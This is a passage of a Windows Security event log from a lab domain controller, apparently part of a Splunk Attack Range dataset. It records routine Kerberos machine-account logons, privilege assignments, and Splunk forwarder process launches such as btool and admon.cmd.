-OpCode=Info -RecordNumber=250258 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104335 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250257 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1042D4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250256 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1042D4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64419 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250255 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1042D4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250254 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1100 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250291 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11e4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250290 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250289 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250288 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1194 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250287 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1194 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11a4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250286 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250285 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105094 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250284 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105094 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64426 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250283 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105094 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250282 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105033 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250281 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105033 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64425 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250280 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105033 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250279 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104FCD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250278 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x104FCD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64424 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250277 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104FCD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250276 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104F6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250275 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x104F6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64423 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250274 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104F6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: 